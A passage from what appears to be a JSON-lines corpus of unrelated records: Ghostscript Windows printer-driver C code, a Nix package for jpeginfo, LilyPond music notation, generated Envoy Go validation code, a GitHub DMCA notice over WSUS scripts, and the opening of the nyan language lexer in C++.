wdev->procs.encode_color = wdev->procs.map_rgb_color;\n wdev->procs.decode_color = wdev->procs.map_color_rgb;\n if (dev->color_info.depth == 1) {\n\twdev->procs.get_color_mapping_procs = \n\t gx_default_DevGray_get_color_mapping_procs;\n\twdev->procs.get_color_comp_index = \n\t gx_default_DevGray_get_color_comp_index;\n }\n else {\n\twdev->procs.get_color_mapping_procs = \n\t gx_default_DevRGB_get_color_mapping_procs;\n\twdev->procs.get_color_comp_index = \n\t gx_default_DevRGB_get_color_comp_index;\n }\n\n /* create palette for display */\n if ((wdev->limgpalette = win_makepalette((gx_device_win *) dev))\n\t== (LPLOGPALETTE) NULL) {\n\tHMETAFILE hmf = CloseMetaFile(wdev->hdcmf);\n\n\tDeleteMetaFile(hmf);\n\tunlink(wdev->mfname);\n\tEscape(wdev->hdcprn, ENDDOC, 0, NULL, NULL);\n\tDeleteDC(wdev->hdcprn);\n\treturn win_nomemory();\n }\n wdev->himgpalette = CreatePalette(wdev->limgpalette);\n\n /* Create the bitmap and DC for copy_mono. */\n wdev->hbmmono = CreateBitmap(bmWidthBits, bmHeight, 1, 1, NULL);\n wdev->hdcmono = CreateCompatibleDC(wdev->hdcprn);\n if (wdev->hbmmono == NULL || wdev->hdcmono == NULL) {\n\tHMETAFILE hmf = CloseMetaFile(wdev->hdcmf);\n\n\tDeleteMetaFile(hmf);\n\tunlink(wdev->mfname);\n\tEscape(wdev->hdcprn, ENDDOC, 0, NULL, NULL);\n\tDeleteDC(wdev->hdcprn);\n\tgs_free((char *)(wdev->limgpalette), 1, sizeof(LOGPALETTE) +\n\t\t(1 << (wdev->color_info.depth)) * sizeof(PALETTEENTRY),\n\t\t\"win_prn_open\");\n\treturn win_nomemory();\n }\n SetMapMode(wdev->hdcmono, GetMapMode(wdev->hdcprn));\n SelectObject(wdev->hdcmono, wdev->hbmmono);\n (void)SelectPalette(wdev->hdcmf, wdev->himgpalette, FALSE);\n RealizePalette(wdev->hdcmf);\n win_prn_maketools(wdev, wdev->hdcmf);\n wdev->bm_id = gx_no_bitmap_id;\n\n return 0;\n}\n\n\n/* Close the win_prn driver */\nprivate int\nwin_prn_close(gx_device * dev)\n{\n HMETAFILE hmf;\n\n /* Free resources */\n Escape(wdev->hdcprn, ENDDOC, 0, NULL, NULL);\n DeleteDC(wdev->hdcprn);\n hmf = CloseMetaFile(wdev->hdcmf);\n DeleteMetaFile(hmf);\n unlink(wdev->mfname);\n\n win_prn_destroytools(wdev);\n DeleteDC(wdev->hdcmono);\n DeleteObject(wdev->hbmmono);\n DeleteObject(wdev->himgpalette);\n gs_free((char *)(wdev->limgpalette), 1, sizeof(LOGPALETTE) +\n\t (1 << (wdev->color_info.depth)) * sizeof(PALETTEENTRY),\n\t \"win_prn_close\");\n return (0);\n}\n\n/* Do nothing */\nint\nwin_prn_sync_output(gx_device * dev)\n{\n return 0;\n}\n\n/* Write page to printer */\nint\nwin_prn_output_page(gx_device * dev, int num_copies, int flush)\n{\n RECT rect;\n HMETAFILE hmf;\n\n hmf = CloseMetaFile(wdev->hdcmf);\n\n Escape(wdev->hdcprn, NEXTBAND, 0, NULL, (LPRECT) & rect);\n while (!IsRectEmpty(&rect)) {\n\tPlayMetaFile(wdev->hdcprn, hmf);\n\tif (Escape(wdev->hdcprn, NEXTBAND, 0, NULL, (LPRECT) & rect) <= 0)\n\t break;\n }\n DeleteMetaFile(hmf);\n unlink(wdev->mfname);\n wdev->hdcmf = CreateMetaFile(wdev->mfname);\n (void)SelectPalette(wdev->hdcmf, wdev->himgpalette, FALSE);\n RealizePalette(wdev->hdcmf);\n SelectObject(wdev->hdcmf, wdev->hpen);\n SelectObject(wdev->hdcmf, wdev->hbrush);\n\n return gx_finish_output_page(dev, num_copies, flush);\n}\n\n\n/* Map a r-g-b color to the colors available under Windows */\nprivate gx_color_index\nwin_prn_map_rgb_color(gx_device * dev, const gx_color_value cv[])\n{\n int i = wdev->nColors;\n gx_color_index color = win_map_rgb_color(dev, cv);\n\n if (color != i)\n\treturn color;\n (void)SelectPalette(wdev->hdcmf, wdev->himgpalette, FALSE);\n RealizePalette(wdev->hdcmf);\n win_prn_addtool(wdev, i);\n\n return color;\n}\n\n\n/* Macro for filling a rectangle with a color. */\n/* Note that it starts with a declaration. */\n#define fill_rect(x, y, w, h, color)\\\nRECT rect;\\\nrect.left = x, rect.top = y;\\\nrect.right = x + w, rect.bottom = y + h;\\\nFillRect(wdev->hdcmf, &rect, wdev->hbrushs[(int)color])\n\n\n/* Fill a rectangle. */\nprivate int\nwin_prn_fill_rectangle(gx_device * dev, int x, int y, int w, int h,\n\t\t gx_color_index color)\n{\n fit_fill(dev, x, y, w, h);\n /* Use PatBlt for filling. Special-case black. */\n if (color == 0)\n\tPatBlt(wdev->hdcmf, x, y, w, h, rop_write_0s);\n else {\n\tselect_brush((int)color);\n\tPatBlt(wdev->hdcmf, x, y, w, h, rop_write_pattern);\n }\n\n return 0;\n}\n\n/* Tile a rectangle. If neither color is transparent, */\n/* pre-clear the rectangle to color0 and just tile with color1. */\n/* This is faster because of how win_copy_mono is implemented. */\n/* Note that this also does the right thing for colored tiles. */\nprivate int\nwin_prn_tile_rectangle(gx_device * dev, const gx_tile_bitmap * tile,\n int x, int y, int w, int h, gx_color_index czero, gx_color_index cone,\n\t\t int px, int py)\n{\n fit_fill(dev, x, y, w, h);\n if (czero != gx_no_color_index && cone != gx_no_color_index) {\n\tfill_rect(x, y, w, h, czero);\n\tczero = gx_no_color_index;\n }\n if (tile->raster == bmWidthBytes && tile->size.y <= bmHeight &&\n\t(px | py) == 0 && cone != gx_no_color_index\n\t) {\t\t\t/* We can do this much more efficiently */\n\t/* by using the internal algorithms of copy_mono */\n\t/* and gx_default_tile_rectangle. */\n\tint width = tile->size.x;\n\tint height = tile->size.y;\n\tint rwidth = tile->rep_width;\n\tint irx = ((rwidth & (rwidth - 1)) == 0 ?\t/* power of 2 */\n\t\t x & (rwidth - 1) :\n\t\t x % rwidth);\n\tint ry = y % tile->rep_height;\n\tint icw = width - irx;\n\tint ch = height - ry;\n\tint ex = x + w, ey = y + h;\n\tint fex = ex - width, fey = ey - height;\n\tint cx, cy;\n\n\tselect_brush((int)cone);\n\n\tif (tile->id != wdev->bm_id || tile->id == gx_no_bitmap_id) {\n\t wdev->bm_id = tile->id;\n\t SetBitmapBits(wdev->hbmmono,\n\t\t\t (DWORD) (bmWidthBytes * tile->size.y),\n\t\t\t (BYTE *) tile->data);\n\t}\n#define copy_tile(srcx, srcy, tx, ty, tw, th)\\\n BitBlt(wdev->hdcmf, tx, ty, tw, th, wdev->hdcmono, srcx, srcy, rop_write_at_1s)\n\n\tif (ch > h)\n\t ch = h;\n\tfor (cy = y;;) {\n\t if (w <= icw)\n\t\tcopy_tile(irx, ry, x, cy, w, ch);\n\t else {\n\t\tcopy_tile(irx, ry, x, cy, icw, ch);\n\t\tcx = x + icw;\n\t\twhile (cx <= fex) {\n\t\t copy_tile(0, ry, cx, cy, width, ch);\n\t\t cx += width;\n\t\t}\n\t\tif (cx < ex) {\n\t\t copy_tile(0, ry, cx, cy, ex - cx, ch);\n\t\t}\n\t }\n\t if ((cy += ch) >= ey)\n\t\tbreak;\n\t ch = (cy > fey ? ey - cy : height);\n\t ry = 0;\n\t}\n\n\treturn 0;\n }\n return gx_default_tile_rectangle(dev, tile, x, y, w, h, czero, cone, px, py);\n}\n\n\n/* Draw a line */\nprivate int\nwin_prn_draw_line(gx_device * dev, int x0, int y0, int x1, int y1,\n\t\t gx_color_index color)\n{\n if (wdev->hpen != wdev->hpens[(int)color]) {\n\twdev->hpen = wdev->hpens[(int)color];\n\tSelectObject(wdev->hdcmf, wdev->hpen);\n }\n MoveToEx(wdev->hdcmf, x0, y0, NULL);\n LineTo(wdev->hdcmf, x1, y1);\n return 0;\n}\n\n/* Copy a monochrome bitmap. The colors are given explicitly. */\n/* Color = gx_no_color_index means transparent (no effect on the image). */\nprivate int\nwin_prn_copy_mono(gx_device * dev,\n\t\tconst byte * base, int sourcex, int raster, gx_bitmap_id id,\n\t\t int x, int y, int w, int h,\n\t\t gx_color_index zero, gx_color_index one)\n{\n int endx;\n const byte *ptr_line;\n int width_bytes, height;\n DWORD rop = rop_write_at_1s;\n int color;\n BYTE aBit[bmWidthBytes * bmHeight];\n BYTE *aptr = aBit;\n\n fit_copy(dev, base, sourcex, raster, id, x, y, w, h);\n\n if (sourcex & ~7) {\n\tbase += sourcex >> 3;\n\tsourcex &= 7;\n }\n /* Break up large transfers into smaller ones. */\n while ((endx = sourcex + w) > bmWidthBits) {\n\tint lastx = (endx - 1) & -bmWidthBits;\n\tint subw = endx - lastx;\n\tint code = win_prn_copy_mono(dev, base, lastx,\n\t\t\t\t raster, gx_no_bitmap_id,\n\t\t\t\t x + lastx - sourcex, y,\n\t\t\t\t subw, h, zero, one);\n\n\tif (code < 0)\n\t return code;\n\tw -= subw;\n }\n while (h > bmHeight) {\n\tint code;\n\n\th -= bmHeight;\n\tcode = win_prn_copy_mono(dev, base + h * raster, sourcex,\n\t\t\t\t raster, gx_no_bitmap_id,\n\t\t\t\t x, y + h, w, bmHeight, zero, one);\n\tif (code < 0)\n\t return code;\n }\n\n width_bytes = (sourcex + w + 7) >> 3;\n ptr_line = base;\n\n if (zero == gx_no_color_index) {\n\tif (one == gx_no_color_index)\n\t return 0;\n\tcolor = (int)one;\n\tif (color == 0)\n\t rop = rop_write_0_at_1s;\n\telse\n\t select_brush(color);\n } else {\n\tif (one == gx_no_color_index) {\n\t color = (int)zero;\n\t rop = rop_write_at_0s;\n\t} else {\t\t/* Pre-clear the rectangle to zero */\n\t fill_rect(x, y, w, h, zero);\n\t color = (int)one;\n\t}\n\tselect_brush(color);\n }\n\n if (id != wdev->bm_id || id == gx_no_bitmap_id) {\n\twdev->bm_id = id;\n\tif (raster == bmWidthBytes) {\t/* We can do the whole thing in a single transfer! */\n\t SetBitmapBits(wdev->hbmmono,\n\t\t\t (DWORD) (bmWidthBytes * h),\n\t\t\t (BYTE *) base);\n\t} else {\n\t for (height = h; height--;\n\t\t ptr_line += raster, aptr += bmWidthBytes\n\t\t) {\t\t/* Pack the bits into the bitmap. */\n\t\tswitch (width_bytes) {\n\t\t default:\n\t\t\tmemcpy(aptr, ptr_line, width_bytes);\n\t\t\tbreak;\n\t\t case 4:\n\t\t\taptr[3] = ptr_line[3];\n\t\t case 3:\n\t\t\taptr[2] = ptr_line[2];\n\t\t case 2:\n\t\t\taptr[1] = ptr_line[1];\n\t\t case 1:\n\t\t\taptr[0] = ptr_line[0];\n\t\t}\n\t }\n\t SetBitmapBits(wdev->hbmmono,\n\t\t\t (DWORD) (bmWidthBytes * h),\n\t\t\t &aBit[0]);\n\t}\n }\n BitBlt(wdev->hdcmf, x, y, w, h, wdev->hdcmono, sourcex, 0, rop);\n return 0;\n}\n\n\n/* Copy a color pixel map. This is just like a bitmap, except that */\n/* each pixel takes 8 or 4 bits instead of 1 when device driver has color. */\nprivate int\nwin_prn_copy_color(gx_device * dev,\n\t\tconst byte * base, int sourcex, int raster, gx_bitmap_id id,\n\t\t int x, int y, int w, int h)\n{\n fit_copy(dev, base, sourcex, raster, id, x, y, w, h);\n\n if (gx_device_has_color(dev)) {\n\tswitch (dev->color_info.depth) {\n\t case 8:\n\t\t{\n\t\t int xi, yi;\n\t\t int skip = raster - w;\n\t\t const byte *sptr = base + sourcex;\n\n\t\t if (w <= 0)\n\t\t\treturn 0;\n\t\t if (x < 0 || x + w > dev->width)\n\t\t\treturn_error(gs_error_rangecheck);\n\t\t for (yi = y; yi - y < h; yi++) {\n\t\t\tfor (xi = x; xi - x < w; xi++) {\n\t\t\t int color = *sptr++;\n\n\t\t\t SetPixel(wdev->hdcmf, xi, yi, PALETTEINDEX(color));\n\t\t\t}\n\t\t\tsptr += skip;\n\t\t }\n\t\t}\n\t\tbreak;\n\t case 4:\n\t\t{\t\t/* color device, four bits per pixel */\n\t\t const byte *line = base + (sourcex >> 1);\n\t\t int dest_y = y, end_x = x + w;\n\n\t\t if (w <= 0)\n\t\t\treturn 0;\n\t\t while (h--) {\t/* for each line */\n\t\t\tconst byte *source = line;\n\t\t\tregister int dest_x = x;\n\n\t\t\tif (sourcex & 1) {\t/* odd nibble first */\n\t\t\t int color = *source++ & 0xf;\n\n\t\t\t SetPixel(wdev->hdcmf, dest_x, dest_y, PALETTEINDEX(color));\n\t\t\t dest_x++;\n\t\t\t}\n\t\t\t/* Now do full bytes */\n\t\t\twhile (dest_x < end_x) {\n\t\t\t int color = *source >> 4;\n\n\t\t\t SetPixel(wdev->hdcmf, dest_x, dest_y, PALETTEINDEX(color));\n\t\t\t dest_x++;\n\t\t\t if (dest_x < end_x) {\n\t\t\t\tcolor = *source++ & 0xf;\n\t\t\t\tSetPixel(wdev->hdcmf, dest_x, dest_y, PALETTEINDEX(color));\n\t\t\t\tdest_x++;\n\t\t\t }\n\t\t\t}\n\t\t\tdest_y++;\n\t\t\tline += raster;\n\t\t }\n\t\t}\n\t\tbreak;\n\t default:\n\t\treturn (-1);\t/* panic */\n\t}\n } else\n\t/* monochrome device: one bit per pixel */\n {\t\t\t\t/* bitmap is the same as win_copy_mono: one bit per pixel */\n\twin_prn_copy_mono(dev, base, sourcex, raster, id, x, y, w, h,\n\t\t\t (gx_color_index) 0,\n\t\t\t (gx_color_index) (dev->color_info.depth == 8 ? 63 : dev->color_info.max_gray));\n }\n return 0;\n}\n\n\n/* ------ Internal routines ------ */\n\n#undef wdev\n\n\nprivate void near\nwin_prn_addtool(gx_device_win_prn * wdev, int i)\n{\n wdev->hpens[i] = CreatePen(PS_SOLID, 1, PALETTEINDEX(i));\n wdev->hbrushs[i] = CreateSolidBrush(PALETTEINDEX(i));\n}\n\n\nprivate void near\nwin_prn_maketools(gx_device_win_prn * wdev, HDC hdc)\n{\n int i;\n\n wdev->hpensize = (1 << (wdev->color_info.depth)) * sizeof(HPEN);\n wdev->hpens = (HPEN *) gs_malloc(wdev->memory, 1, wdev->hpensize,\n\t\t\t\t \"win_prn_maketools(pens)\");\n wdev->hbrushsize = (1 << (wdev->color_info.depth)) * sizeof(HBRUSH);\n wdev->hbrushs = (HBRUSH *) gs_malloc(wdev->memory, 1, wdev->hbrushsize,\n\t\t\t\t\t \"win_prn_maketools(brushes)\");\n if (wdev->hpens && wdev->hbrushs) {\n\tfor (i = 0; i < wdev->nColors; i++)\n\t win_prn_addtool(wdev, i);\n\n\twdev->hpen = wdev->hpens[0];\n\tSelectObject(hdc, wdev->hpen);\n\n\twdev->hbrush = wdev->hbrushs[0];\n\tSelectObject(hdc, wdev->hbrush);\n }\n}\n\n\nprivate void near\nwin_prn_destroytools(gx_device_win_prn * wdev)\n{\n int i;\n\n for (i = 0; i < wdev->nColors; i++) {\n\tDeleteObject(wdev->hpens[i]);\n\tDeleteObject(wdev->hbrushs[i]);\n }\n gs_free(wdev->memory, (char *)wdev->hbrushs, 1, wdev->hbrushsize,\n\t \"win_prn_destroytools(brushes)\");\n gs_free(wdev->memory, (char *)wdev->hpens, 1, wdev->hpensize,\n\t \"win_prn_destroytools(pens)\");\n}\n\nBOOL CALLBACK _export\nAbortProc(HDC hdcPrn, int code)\n{\n process_interrupts(NULL);\n if (code == SP_OUTOFDISK)\n\treturn (FALSE);\t\t/* cancel job */\n return (TRUE);\n}\n\n"} +{"text": "{ stdenv, fetchurl, libjpeg }:\n\nstdenv.mkDerivation rec {\n pname = \"jpeginfo\";\n version = \"1.6.1\";\n\n src = fetchurl {\n url = \"https://www.kokkonen.net/tjko/src/${pname}-${version}.tar.gz\";\n sha256 = \"0lvn3pnylyj56158d3ix9w1gas1s29klribw9bz1xym03p7k37k2\";\n };\n\n buildInputs = [ libjpeg ];\n\n meta = with stdenv.lib; {\n description = \"Prints information and tests integrity of JPEG/JFIF files\";\n homepage = \"https://www.kokkonen.net/tjko/projects.html\";\n license = licenses.gpl2Plus;\n maintainers = [ maintainers.bjornfor ];\n platforms = platforms.all;\n };\n}\n"} +{"text": "R1*6 |\nre''4 sol'8 sol' do'' do'' do'' do'' |\ndo'' [ si' ] r4 r sol'8 fad' |\nmi'4 r r8 mi' la' sol' |\nfad' fad' r4 r si'8 la' |\nsol'4 r r8 sol' do'' si' |\nla' la' r4 r2 |\nr re''4 sol'8 sol' do'' do'' do'' do'' si'16 [\\melisma la' si' do'' ] si' [ do'' la' si' ]|\nsol' [ fad' sol' la' ] sol' [ si' la' si' ] do'' [ si' do'' re'' ] do'' [ re'' si' do'' ]|\nla' [ sol' la' si' ] la' [ do'' si' do'' ] re'' [ do'' re'' mi'' ] re'' [ mi'' do'' re'' ]|\nsi' [ la' si' do'' ] si' [ re'' do'' re'' ] mi'' [ re'' mi'' fad'' ] mi'' [ fad'' sol'' la'' ]|\nfad''4 \\melismaEnd r r2 |\nR1*9 |\nr4 la'8. dod''16 si'8. re''16 dod''8. mi''16 |\nre''8. fad''16 mi''8. sol''16 fad''8 [\\melisma mi''16 re'' ] dod''8 [ si' ]|\nla'1 \\melismaEnd |\nla'8. re''16 dod''8. mi''16 re''8. fad''16 mi''8. re''16 |\ndod''4 re''8 re'' dod'' dod'' r4 |\nre''8. la'16 la'4 r2 |\nre''8. la'16 la'4 r2 |\nr8 la' la' la' re''4 r8 re'' |\nre'' re'' sol'' sol'' fad'' fad'' r re'' |\nre''4-| dod''-| re''-| r |\nR1*3 |\nr4 re''8 si' sol' mi'' do'' la' |\nfad'4 r r2 |\nR1*4 |\nr4 la'8 re'' si'4 r |\nr re''8 sol'' fad'' re'' r4 |\nre''8. do''16 si'4 r2 |\nre''8. do''16 si'4 r2 |\nr8 re'' re'' re'' sol''4 r8 re'' |\nre'' re'' sol'' sol'' mi'' mi'' r sol'' |\ndo''4. do''8 si'4 r |\nr2 re''4 sol'8 sol' |\ndo'' do'' do'' do'' do'' [ si' ] r4 |\nR1*3 |\nr2 r4 si'8 si' |\ndo''4 r r8 re'' do''8. si'16 |\nla'8 la' r4 r2 |\nR1 |\nr4 sol'8. si'16 la'8. do''16 si'8. re''16 |\ndo''8. mi''16 re''8. fa''16 mi'' [ re'' do''8 mi'' ] fad'' |\nsol''4 sol' r2 |\nr r4 re''8 sol'' |\nmi''4 sol''8 re'' mi'' do'' r4 |\ndo''8. sol'16 sol'4 r2 |\ndo''8. sol'16 sol'4 r2 |\nr8 sol' sol' sol' do''4 r8 do'' |\ndo'' do'' do'' do'' do''4 si' |\nla'4. la'8 si'4 r |\nr2 re''4 sol'8 sol' |\ndo'' do'' do'' do'' si'16 [\\melisma la' si' do'' ] si' [ do'' la' si' ]|\nsol' [ fad' sol' la' ] sol' [ si' la' si' ] do'' [ si' do'' re'' ] do'' [ re'' si' do'' ]|\nla' [ sol' la' si' ] la' [ do'' si' do'' ] re'' [ do'' re'' mi'' ] re'' [ mi'' do'' re'' ]|\nsi' [ la' si' do'' ] si' [ do'' la' si' ] do'' [ si' do'' re'' ] do'' [ re'' si' do'' ]|\nla'4 \\melismaEnd re''8 do'' si'4 r |\nr8 re'' do'' si' la' la' sol'8. si'16 |\nla'8. do''16 si'8. re''16 do''8. mi''16 la'8. do''16 |\nsi'8. re''16 do''8. mi''16 re''2 |\nre''4 do''8. la'16 si'8. sol'16 do''8. la'16 |\nre''8. re''16 do''8. si'16 la'8 la' re'' re'' |\nre''4 re''8 re'' re'' re'' r4 |\nre''8. do''16 si'4 r2 |\nre''8. do''16 si'4 r2 |\nr8 re'' re'' re'' sol''4 r8 sol'' |\nmi'' re'' do'' si' la' la' r do'' |\nla'4. la'8 si'4 r8 si' |\nmi'' re'' do'' do'' do'' si'4 la'8 |\nla'4. la'8 sol'2 |\nR1*8 |\n"} +{"text": "// Code generated by protoc-gen-validate. DO NOT EDIT.\n// source: envoy/config/filter/http/health_check/v2/health_check.proto\n\npackage envoy_config_filter_http_health_check_v2\n\nimport (\n\t\"bytes\"\n\t\"errors\"\n\t\"fmt\"\n\t\"net\"\n\t\"net/mail\"\n\t\"net/url\"\n\t\"regexp\"\n\t\"strings\"\n\t\"time\"\n\t\"unicode/utf8\"\n\n\t\"github.com/golang/protobuf/ptypes\"\n)\n\n// ensure the imports are used\nvar (\n\t_ = bytes.MinRead\n\t_ = errors.New(\"\")\n\t_ = fmt.Print\n\t_ = utf8.UTFMax\n\t_ = (*regexp.Regexp)(nil)\n\t_ = (*strings.Reader)(nil)\n\t_ = net.IPv4len\n\t_ = time.Duration(0)\n\t_ = (*url.URL)(nil)\n\t_ = (*mail.Address)(nil)\n\t_ = ptypes.DynamicAny{}\n)\n\n// define the regex for a UUID once up-front\nvar _health_check_uuidPattern = regexp.MustCompile(\"^[0-9a-fA-F]{8}-[0-9a-fA-F]{4}-[0-9a-fA-F]{4}-[0-9a-fA-F]{4}-[0-9a-fA-F]{12}$\")\n\n// Validate checks the field values on HealthCheck with the rules defined in\n// the proto definition for this message. If any rules are violated, an error\n// is returned.\nfunc (m *HealthCheck) Validate() error {\n\tif m == nil {\n\t\treturn nil\n\t}\n\n\tif m.GetPassThroughMode() == nil {\n\t\treturn HealthCheckValidationError{\n\t\t\tfield: \"PassThroughMode\",\n\t\t\treason: \"value is required\",\n\t\t}\n\t}\n\n\tif v, ok := interface{}(m.GetPassThroughMode()).(interface{ Validate() error }); ok {\n\t\tif err := v.Validate(); err != nil {\n\t\t\treturn HealthCheckValidationError{\n\t\t\t\tfield: \"PassThroughMode\",\n\t\t\t\treason: \"embedded message failed validation\",\n\t\t\t\tcause: err,\n\t\t\t}\n\t\t}\n\t}\n\n\tif v, ok := interface{}(m.GetCacheTime()).(interface{ Validate() error }); ok {\n\t\tif err := v.Validate(); err != nil {\n\t\t\treturn HealthCheckValidationError{\n\t\t\t\tfield: \"CacheTime\",\n\t\t\t\treason: \"embedded message failed validation\",\n\t\t\t\tcause: err,\n\t\t\t}\n\t\t}\n\t}\n\n\tfor key, val := range m.GetClusterMinHealthyPercentages() {\n\t\t_ = val\n\n\t\t// no validation rules for ClusterMinHealthyPercentages[key]\n\n\t\tif v, ok := interface{}(val).(interface{ Validate() error }); ok {\n\t\t\tif err := v.Validate(); err != nil {\n\t\t\t\treturn HealthCheckValidationError{\n\t\t\t\t\tfield: fmt.Sprintf(\"ClusterMinHealthyPercentages[%v]\", key),\n\t\t\t\t\treason: \"embedded message failed validation\",\n\t\t\t\t\tcause: err,\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t}\n\n\tfor idx, item := range m.GetHeaders() {\n\t\t_, _ = idx, item\n\n\t\tif v, ok := interface{}(item).(interface{ Validate() error }); ok {\n\t\t\tif err := v.Validate(); err != nil {\n\t\t\t\treturn HealthCheckValidationError{\n\t\t\t\t\tfield: fmt.Sprintf(\"Headers[%v]\", idx),\n\t\t\t\t\treason: \"embedded message failed validation\",\n\t\t\t\t\tcause: err,\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t}\n\n\treturn nil\n}\n\n// HealthCheckValidationError is the validation error returned by\n// HealthCheck.Validate if the designated constraints aren't met.\ntype HealthCheckValidationError struct {\n\tfield string\n\treason string\n\tcause error\n\tkey bool\n}\n\n// Field function returns field value.\nfunc (e HealthCheckValidationError) Field() string { return e.field }\n\n// Reason function returns reason value.\nfunc (e HealthCheckValidationError) Reason() string { return e.reason }\n\n// Cause function returns cause value.\nfunc (e HealthCheckValidationError) Cause() error { return e.cause }\n\n// Key function returns key value.\nfunc (e HealthCheckValidationError) Key() bool { return e.key }\n\n// ErrorName returns error name.\nfunc (e HealthCheckValidationError) ErrorName() string { return \"HealthCheckValidationError\" }\n\n// Error satisfies the builtin error interface\nfunc (e HealthCheckValidationError) Error() string {\n\tcause := \"\"\n\tif e.cause != nil {\n\t\tcause = fmt.Sprintf(\" | caused by: %v\", e.cause)\n\t}\n\n\tkey := \"\"\n\tif e.key {\n\t\tkey = \"key for \"\n\t}\n\n\treturn fmt.Sprintf(\n\t\t\"invalid %sHealthCheck.%s: %s%s\",\n\t\tkey,\n\t\te.field,\n\t\te.reason,\n\t\tcause)\n}\n\nvar _ error = HealthCheckValidationError{}\n\nvar _ interface {\n\tField() string\n\tReason() string\n\tKey() bool\n\tCause() error\n\tErrorName() string\n} = HealthCheckValidationError{}\n"} +{"text": "**Are you the copyright owner or authorized to act on the copyright owner’s behalf?** \n\nYes\n\n**Please provide a detailed description of the original copyrighted work that has allegedly been infringed. If possible, include a URL to where it is posted online.** \n\nhttps://www.ajtek.ca Went to a subscription model June 1st http://www.adamj.org/ shows my notice. Previously at https://community.spiceworks.com/scripts/show/2998-wsus-automated-maintenance (which also has been taken down) It's very easily identifiable that it's mine as my name and domain (adamj.org) is attached to the script.\n\n**What files should be taken down? Please provide URLs for each file, or if the entire repository, the repository’s URL:** \n\nhttps://github.com/adonaileon/sysadmin-scripts/blob/master/windows_admin-wsus/Adamj%20Clean-WSUS.TXT \nhttps://github.com/adonaileon/sysadmin-scripts/blob/master/windows_admin-wsus/Adamj%20Clean-WSUSansi.TXT\n\n**Have you searched for any forks of the allegedly infringing files or repositories? Each fork is a distinct repository and must be identified separately if you believe it is infringing and wish to have it taken down.** \n\nNo forks\n\n**Is the work licensed under an open source license? If so, which open source license? Are the allegedly infringing files being used under the open source license, or are they in violation of the license?** \n\nViolation of the license - it never was under an open source license.\n\n**What would be the best solution for the alleged infringement? Are there specific changes the other person can make other than removal? Can the repository be made private?** \n\nJust remove it.\n\n**Do you have the alleged infringer’s contact information? If so, please provide it:** \n\nNo I do not.\n\n**Type (or copy and paste) the following statement: \"I have a good faith belief that use of the copyrighted materials described above on the infringing web pages is not authorized by the copyright owner, or its agent, or the law. I have taken fair use into consideration.\"** \n\nI have a good faith belief that use of the copyrighted materials described above on the infringing web pages is not authorized by the copyright owner, or its agent, or the law. I have taken fair use into consideration.\n\n**Type (or copy and paste) the following statement: \"I swear, under penalty of perjury, that the information in this notification is accurate and that I am the copyright owner, or am authorized to act on behalf of the owner, of an exclusive right that is allegedly infringed.\"** \n\nI swear, under penalty of perjury, that the information in this notification is accurate and that I am the copyright owner, or am authorized to act on behalf of the owner, of an exclusive right that is allegedly infringed.\n\n**Please confirm that you have you have read our Guide to Submitting a DMCA Takedown Notice: https://help.github.com/articles/guide-to-submitting-a-dmca-takedown-notice/** \n\nI have read it.\n\n**So that we can get back to you, please provide either your telephone number or physical address:** \n\n[private] \nAJ Tek Corporation \n[private] \n\n**Please type your full legal name below to sign this request:** \n\n[private] \n"} +{"text": "// Copyright 2017-2018 the nyan authors, LGPLv3+. See copying.md for legal info.\n\n#include \"impl.h\"\n\n#define YY_NO_UNISTD_H\n#include \"flex.gen.h\"\n\n#include \"../compiler.h\"\n#include \"../file.h\"\n\nnamespace nyan::lexer {\n\nImpl::Impl(const std::shared_ptr &file)\n\t:\n\tfile{file},\n\tinput{file->get_content()} {\n\n\tyylex_init_extra(this, &this->scanner);\n}\n\nImpl::~Impl() {\n\tif (this->scanner) {\n\t\tyylex_destroy(this->scanner);\n\t}\n}\n\n/*\n * Generate tokens until the queue has on available to return.\n * Return tokens from the queue until it's empty.\n */\nToken Impl::generate_token() {\n\tif (this->tokens.empty()) {\n\t\tyylex(this->scanner);\n\t}\n\n\tif (not this->tokens.empty()) {\n\t\tauto ret = this->tokens.front();\n\t\tthis->tokens.pop();\n\t\treturn ret;\n\t}\n\n\t// if generate_token did not generate a token:\n\tthrow this->error(\"internal error.\");\n}\n\n\n/*\n * Fetch the current lexer state and throw an error.\n */\nTokenizeError Impl::error(const std::string &msg) {\n\treturn TokenizeError{\n\t\tLocation{\n\t\t\tthis->file,\n\t\t\tyyget_lineno(this->scanner),\n\t\t\tthis->linepos - static_cast(yyget_leng(this->scanner)),\n\t\t\tstatic_cast(yyget_leng(this->scanner))\n\t\t},\n\t\tmsg\n\t};\n}\n\nvoid Impl::advance_linepos() {\n\tthis->linepos += yyget_leng(this->scanner);\n}\n\nint Impl::read_input(char *buffer, int max_size) {\n\tif (unlikely(max_size <= 0)) {\n\t\treturn 0;\n\t}\n\n\tthis->input.read(buffer, static_cast(max_size));\n\treturn static_cast(this->input.gcount());\n}\n\nvoid Impl::endline() {\n\t// ENDLINE is not an acceptable first token.\n\t// Optimize for consecutive ENDLINE tokens: keep only one.\n\tif (not tokens.empty() and tokens.back().type != token_type::ENDLINE) {\n\t\tthis->token(token_type::ENDLINE);\n\t}\n\t// Reset the line position to the beginning.\n\tthis->linepos = linepos_start;\n}\n\n/*\n * Fetch the current lexer state variables and create a token.\n */\nvoid Impl::token(token_type type) {\n\tint length = yyget_leng(this->scanner);\n\tint token_start = this->linepos - length;\n\tint lineno = yyget_lineno(this->scanner);\n\tif (type == token_type::ENDLINE) {\n\t\t/* don't assign the `\\n` for the next line */\n\t\t--lineno;\n\t}\n\n\t// to register open and close parenthesis\n\t// for correct line-wrap-indentation.\n\tthis->track_brackets(type, token_start);\n\n\tif (token_needs_payload(type)) {\n\t\tthis->tokens.push(Token{\n\t\t\tthis->file,\n\t\t\tlineno,\n\t\t\ttoken_start,\n\t\t\tlength,\n\t\t\ttype,\n\t\t\tyyget_text(this->scanner)\n\t\t});\n\t}\n\telse {\n\t\tthis->tokens.push(Token{\n\t\t\tthis->file,\n\t\t\tlineno,\n\t\t\ttoken_start,\n\t\t\tlength,\n\t\t\ttype\n\t\t});\n\t}\n}\n\n/*\n * Remember where the current open bracket is\n * so that the indentation can check if the depth is correct.\n */\nvoid Impl::track_brackets(token_type type, int token_start) {\n\n\t// opening brackets\n\tif (type == token_type::LPAREN or\n\t type == token_type::LANGLE or\n\t type == token_type::LBRACKET or\n\t type == token_type::LBRACE) {\n\n\t\t// Track bracket type and indentation.\n\t\t// The position after the ( is exactly the expected indent\n\t\t// for hanging 